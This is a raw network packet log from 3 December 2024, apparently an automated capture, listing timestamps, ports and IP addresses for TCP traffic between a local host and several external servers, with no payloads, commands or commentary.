Dec 3, 2024 15:31:56.747756004 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.747761965 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.747806072 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.748574972 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.748631001 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.750518084 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.750576973 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.760021925 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.760112047 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.760118008 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.760160923 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.760776997 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.760838985 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.762845039 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.762904882 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.771601915 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.771711111 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.771719933 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.771764040 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.772365093 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.772458076 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.774208069 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.774275064 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.781451941 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.781526089 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.781532049 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.781584024 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.782356977 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.782412052 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.783962965 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.784029007 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.792160034 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.792279005 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.792283058 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.792326927 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.793726921 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.793793917 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.796124935 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.796205044 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.798923969 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.799005985 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.799010992 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.799051046 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.800129890 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.800231934 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.802148104 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.802206993 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.806076050 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.806139946 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.806145906 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.806189060 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.807053089 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.807101965 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.807106972 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.807157993 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.815565109 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.815686941 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.815694094 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.815738916 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.816488028 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.816550970 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.818424940 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.818495989 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.823540926 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.823611021 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.823618889 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.823667049 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.842444897 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.842524052 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.842530966 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.842567921 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.883351088 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.883488894 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.883496046 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.883537054 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.884083033 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.884130001 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.889065027 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.889143944 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.889151096 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.889194012 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.889631033 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.889673948 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.889678955 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.889723063 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.891823053 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.891880035 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.893002987 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.893037081 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.893325090 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.893383980 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.894970894 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.895015001 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.895021915 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.895076036 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.897051096 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.897097111 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.897105932 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.897145033 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.898457050 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.898518085 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.899868011 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.899924040 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.899928093 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.899960995 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.900911093 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.900952101 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.900955915 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.900986910 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.902673960 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.902718067 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.904175043 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.904217958 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.904222965 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.904263020 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.904980898 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.905031919 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.905038118 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.905076027 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.905909061 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.905949116 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.905955076 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.906004906 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.906794071 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.906842947 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.906847954 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.906887054 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.907728910 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.907780886 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.907787085 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.907826900 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.908951998 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.909002066 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.910001993 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.910060883 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.910065889 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.910114050 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.910892010 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.910948992 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.910953045 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.910990953 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.911849022 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.911900043 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.913266897 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.913326025 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.914268017 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.914318085 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.914323092 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.914369106 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.914980888 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.915034056 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.916547060 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.916595936 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.916599989 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.916640043 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.916644096 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.916651011 CET	443	49919	142.250.181.1	192.168.2.6
Dec 3, 2024 15:31:56.916661024 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.916668892 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.916681051 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:56.916758060 CET	49919	443	192.168.2.6	142.250.181.1
Dec 3, 2024 15:31:57.428277016 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:31:57.550925970 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:31:57.551042080 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:31:57.551379919 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:31:57.671865940 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:31:58.762752056 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:31:58.767026901 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:31:58.887243986 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:31:59.142606974 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:31:59.184489012 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:31:59.926244974 CET	49940	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:31:59.926284075 CET	443	49940	172.67.177.134	192.168.2.6
Dec 3, 2024 15:31:59.926376104 CET	49940	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:31:59.928913116 CET	49940	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:31:59.928930044 CET	443	49940	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:01.153551102 CET	443	49940	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:01.153775930 CET	49940	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:01.156085968 CET	49940	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:01.156095028 CET	443	49940	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:01.156471014 CET	443	49940	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:01.161717892 CET	49940	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:01.207329035 CET	443	49940	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:01.617870092 CET	443	49940	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:01.617949963 CET	443	49940	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:01.618166924 CET	49940	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:01.624686003 CET	49940	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:01.630788088 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:01.751332998 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:02.005204916 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:02.059523106 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:02.121854067 CET	49946	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:02.121901035 CET	443	49946	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:02.121994019 CET	49946	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:02.129201889 CET	49946	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:02.129237890 CET	443	49946	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:03.394709110 CET	443	49946	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:03.397414923 CET	49946	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:03.397453070 CET	443	49946	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:03.861876965 CET	443	49946	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:03.861953020 CET	443	49946	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:03.862066031 CET	49946	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:03.862535000 CET	49946	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:03.865417004 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:03.985843897 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:04.242659092 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:04.243594885 CET	49952	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:04.243638039 CET	443	49952	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:04.243715048 CET	49952	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:04.243992090 CET	49952	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:04.244009018 CET	443	49952	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:04.293849945 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:05.553523064 CET	443	49952	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:05.555305958 CET	49952	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:05.555330038 CET	443	49952	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:06.049427032 CET	443	49952	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:06.049518108 CET	443	49952	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:06.049771070 CET	49952	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:06.050024986 CET	49952	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:06.052875042 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:06.174278021 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:06.434658051 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:06.437588930 CET	49958	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:06.437649012 CET	443	49958	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:06.437715054 CET	49958	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:06.438117981 CET	49958	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:06.438138008 CET	443	49958	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:06.481349945 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:07.718462944 CET	443	49958	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:07.720051050 CET	49958	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:07.720068932 CET	443	49958	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:08.192967892 CET	443	49958	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:08.193039894 CET	443	49958	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:08.193159103 CET	49958	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:08.193660975 CET	49958	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:08.196687937 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:08.316714048 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:08.570601940 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:08.571420908 CET	49965	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:08.571461916 CET	443	49965	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:08.571531057 CET	49965	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:08.571829081 CET	49965	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:08.571840048 CET	443	49965	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:08.621970892 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:09.893620968 CET	443	49965	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:09.898328066 CET	49965	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:09.898360968 CET	443	49965	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:10.393615007 CET	443	49965	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:10.393671989 CET	443	49965	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:10.393722057 CET	49965	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:10.394450903 CET	49965	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:10.402786970 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:10.522800922 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:10.782025099 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:10.783211946 CET	49970	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:10.783266068 CET	443	49970	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:10.783333063 CET	49970	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:10.783850908 CET	49970	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:10.783865929 CET	443	49970	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:10.825072050 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:12.045089006 CET	443	49970	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:12.046679020 CET	49970	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:12.046715021 CET	443	49970	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:12.507518053 CET	443	49970	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:12.507607937 CET	443	49970	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:12.507752895 CET	49970	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:12.508266926 CET	49970	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:12.511404991 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:12.632133961 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:12.890440941 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:12.891196012 CET	49976	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:12.891238928 CET	443	49976	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:12.891335964 CET	49976	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:12.891668081 CET	49976	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:12.891681910 CET	443	49976	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:12.934478998 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:14.151789904 CET	443	49976	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:14.153481007 CET	49976	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:14.153518915 CET	443	49976	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:14.616348028 CET	443	49976	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:14.616625071 CET	443	49976	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:14.616899967 CET	49976	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:14.617198944 CET	49976	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:14.635994911 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:14.756272078 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:15.057116985 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:15.057794094 CET	49981	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:15.057835102 CET	443	49981	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:15.057930946 CET	49981	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:15.058213949 CET	49981	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:15.058226109 CET	443	49981	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:15.106307030 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:16.331809998 CET	443	49981	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:16.354432106 CET	49981	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:16.354454041 CET	443	49981	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:16.799941063 CET	443	49981	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:16.800020933 CET	443	49981	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:16.800069094 CET	49981	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:16.801201105 CET	49981	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:16.804886103 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:16.924864054 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:17.180059910 CET	80	49934	158.101.44.242	192.168.2.6
Dec 3, 2024 15:32:17.180946112 CET	49987	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:17.180986881 CET	443	49987	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:17.181041956 CET	49987	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:17.181384087 CET	49987	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:17.181397915 CET	443	49987	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:17.231368065 CET	49934	80	192.168.2.6	158.101.44.242
Dec 3, 2024 15:32:18.486761093 CET	443	49987	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:18.488434076 CET	49987	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:18.488459110 CET	443	49987	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:18.992342949 CET	443	49987	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:18.992424965 CET	443	49987	172.67.177.134	192.168.2.6
Dec 3, 2024 15:32:18.992484093 CET	49987	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:18.992986917 CET	49987	443	192.168.2.6	172.67.177.134
Dec 3, 2024 15:32:19.161583900 CET	49992	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:19.161639929 CET	443	49992	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:19.161700964 CET	49992	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:19.162158966 CET	49992	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:19.162168980 CET	443	49992	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:20.579482079 CET	443	49992	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:20.579579115 CET	49992	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:20.581419945 CET	49992	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:20.581432104 CET	443	49992	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:20.581681967 CET	443	49992	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:20.583132982 CET	49992	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:20.627331972 CET	443	49992	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:21.092706919 CET	443	49992	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:21.092797995 CET	443	49992	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:21.092861891 CET	49992	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:21.116249084 CET	49992	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:27.118957043 CET	50004	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:27.118995905 CET	443	50004	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:27.119096994 CET	50004	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:27.119330883 CET	50004	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:27.119343042 CET	443	50004	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:28.486613989 CET	443	50004	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:28.488639116 CET	50004	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:28.488661051 CET	443	50004	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:28.488750935 CET	50004	443	192.168.2.6	149.154.167.220
